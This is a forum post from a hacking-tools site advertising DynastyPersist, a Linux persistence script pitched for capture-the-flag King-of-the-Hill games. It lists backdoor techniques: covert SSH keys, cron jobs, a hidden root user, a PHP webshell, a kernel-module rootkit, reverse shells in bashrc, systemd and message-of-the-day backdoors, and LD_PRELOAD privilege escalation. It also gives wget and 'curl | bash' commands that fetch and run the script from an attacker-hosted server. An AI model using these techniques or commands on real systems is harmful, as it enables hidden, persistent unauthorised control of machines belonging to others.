# DynastyPersist | A Linux Persistence Tool!

**URL:** <https://onehack.st/t/dynastypersist-a-linux-persistence-tool/267154>\
**Category:** Tools & Scripts\
**Tags:** programming, hacking\
**Created:** [December 4, 2023, 10:52pm UTC](https://onehack.st/t/dynastypersist-a-linux-persistence-tool/267154 "2023-12-04T22:52:29Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [December 4, 2023, 10:52pm UTC](https://onehack.st/t/dynastypersist-a-linux-persistence-tool/267154/1 "2023-12-04T22:52:29Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/c/1/c1cc0b18f95d44468fc1e240458895b9cefbf026.png)

# DynastyPersist

- A CTF Tool for Linux persistence (KOTH, Battlegrounds)
- A powerful and versatile Linux persistence script designed for various security assessment and testing scenarios. This script provides a collection of features that demonstrate different methods of achieving persistence on a Linux system.

[![GitHub](https://camo.githubusercontent.com/31e4c74474e9cb850327891793f34a2ae06f578490b9ddbf2726a36f29575b6c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f747265766f6861636b2f44796e6173747950657273697374)](https://camo.githubusercontent.com/31e4c74474e9cb850327891793f34a2ae06f578490b9ddbf2726a36f29575b6c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f747265766f6861636b2f44796e6173747950657273697374) [![GitHub stars](https://camo.githubusercontent.com/500b2eedc621001a50219bd514e817ba4e82d4ce02b18bd514ad3d8e6d634907/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f747265766f6861636b2f44796e6173747950657273697374)](https://camo.githubusercontent.com/500b2eedc621001a50219bd514e817ba4e82d4ce02b18bd514ad3d8e6d634907/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f747265766f6861636b2f44796e6173747950657273697374)

## Features

1. **SSH Key Generation:** Automatically generates SSH keys for covert access.
2. **Cronjob Persistence:** Sets up cronjobs for scheduled persistence.
3. **Custom User with Root:** Creates a custom user with root privileges.
4. **RCE Persistence:** Achieves persistence through remote code execution (php webshell).
5. **LKM/Rootkit:** Demonstrates Linux Kernel Module (LKM) based rootkit persistence.
6. **Bashrc Persistence:** Modifies user-specific shell initialization files for persistence (aliases / reverse shells).
7. **Systemd Service for Root:** Sets up a systemd service for achieving root persistence.
8. **LD\_PRELOAD Privilege Escalation Config:** Configures LD\_PRELOAD for privilege escalation.
9. **Backdooring Message of the Day / Header:** Backdoors system message display for covert access.
10. **Modify an Existing Systemd Service:** Manipulates an existing systemd service for persistence.

## Installation

1. Clone this repository to your local machine:

$ git clone [https://github.com/Trevohack/DynastyPersist.git](https://github.com/Trevohack/DynastyPersist.git) $ python3 -m http.server 8080 root@tyler.thm # cd /opt && wget -c [ATTACKER-IP]:8080/DynastyPersist && cd DynastyPersist && chmod +x dynasty.sh && ./dynasty.sh

1. One linear

curl -sSL [ATTACKER-IP]8080/DynastyPersist/dynasty.sh | bash

## Support

For support, email [spaceshuttle.io.all@gmail.com](mailto:spaceshuttle.io.all@gmail.com) or join our Discord server.

- Discord: `https://discord.gg/WYzu65Hp`

Thank You!

## GitHub:

> **[GitHub - Trevohack/DynastyPersist: A Linux persistence tool!](https://github.com/Trevohack/DynastyPersist)**
>
> A Linux persistence tool!
